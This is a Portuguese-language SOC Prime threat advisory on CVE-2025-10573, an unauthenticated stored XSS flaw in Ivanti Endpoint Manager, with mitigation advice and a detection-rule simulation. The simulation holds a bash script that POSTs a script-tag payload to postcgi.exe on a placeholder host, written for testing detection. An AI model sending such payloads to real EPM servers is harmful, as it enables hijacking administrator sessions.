SOC Prime Bias: Critical

10 Dec 2025 16:54 UTC

CVE-2025-10573: Vulnerabilidade XSS Armazenada Não Autenticada na Ivanti EPM (Corrigida)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
CVE-2025-10573: Vulnerabilidade XSS Armazenada Não Autenticada na Ivanti EPM (Corrigida)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O Ivanti Endpoint Manager (EPM) contém uma vulnerabilidade de cross-site scripting, que permite que um invasor não autenticado injete JavaScript malicioso nos dados de verificação do dispositivo. Quando esse payload é exibido no painel da web do console de gerenciamento, ele pode ser usado para sequestrar a sessão de um administrador. O problema está sendo identificado como CVE-2025-10573 e possui uma pontuação CVSS de 9.6.

Investigação

A Rapid7 analisou uma implantação central do Ivanti EPM 11.0.6 no Windows Server 2022 e descobriu que uma requisição POST manipulada para /incomingdata/postcgi.exe com campos de key=value maliciosos faz com que o JavaScript seja armazenado e posteriormente executado na interface do admin. O comportamento inseguro do binário CGI postcgi.exe, que grava arquivos de verificação fora da raiz da web, possibilita esse caminho de injeção.

Mitigação

A Ivanti lançou um patch em 09/12/2025, e atualizar para a versão 2024 SU4 SR1 do Ivanti EPM remove a vulnerabilidade. A Rapid7 irá disponibilizar uma verificação autenticada de vulnerabilidade para os clientes do Exposure Command, InsightVM e Nexpose, para ajudar a identificar instalações afetadas.

Resposta

As organizações devem implementar imediatamente a atualização 2024 SU4 SR1, restringir o acesso não autenticado à API /incomingdata e monitorar os logs do servidor web para requisições POST direcionadas ao postcgi.exe. Também devem revisar sessões de administradores em busca de sinais de sequestro e rodar quaisquer credenciais que possam ter sido comprometidas.

Fluxo de Ataque

Ainda estamos atualizando esta parte.

Detecções

Detectar XSS Armazenado Não Autenticado na API Web do Ivanti EPM via Submissão Maliciosa de Verificação de Dispositivo [Servidor web]

Regras de IA da SOC Prime
9 Dez 2025

Execução de Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria & Baseline deve ter sido aprovada.

Justificação: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos de Ataque:
    Um invasor, ao descobrir que o endpoint de verificação do Ivanti EPM não é autenticado, cria uma carga de verificação maliciosa incorporando uma<script>tag que exibe um alerta (representando o sequestro de sessão). O invasor usacurlpara POSTAR esse payload, imitando uma submissão legítima de verificação de dispositivo. Como o payload corresponde exatamente à string que a regra observa, o SIEM deve gerar um alerta.

  • Script de Teste de Regressão:

    #!/bin/bash
    # -------------------------------------------------
    # Simular XSS armazenado contra a API de verificação do Ivanti EPM
    # -------------------------------------------------
    
    # URL alvo (ajuste o host conforme necessário)
    TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan"
    
    # Payload malicioso - exatamente a string que a regra espera
    PAYLOAD="<script>alert('Conta de administrador foi sequestrada')</script>"
    
    # Corpo XML completo que o Ivanti EPM espera (simplificado)
    XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>"
    
    # Enviar a requisição
    curl -k -X POST "$TARGET" 
      -H "Content-Type: application/xml" 
      -d "$XML_BODY"
    
    echo "Verificação maliciosa enviada."
  • Comandos de Limpeza:
    Os dados da verificação persistem no banco de dados do Ivanti EPM; a exclusão normalmente requer um administrador autenticado. Para fins de teste, a etapa de limpeza é limitada à remoção do arquivo de teste de qualquer captura de log local.

    #!/bin/bash
    # Simples limpeza: remover logs temporários do curl (se houver)
    rm -f /tmp/curl_log_*
    echo "Artefatos de teste local removidos."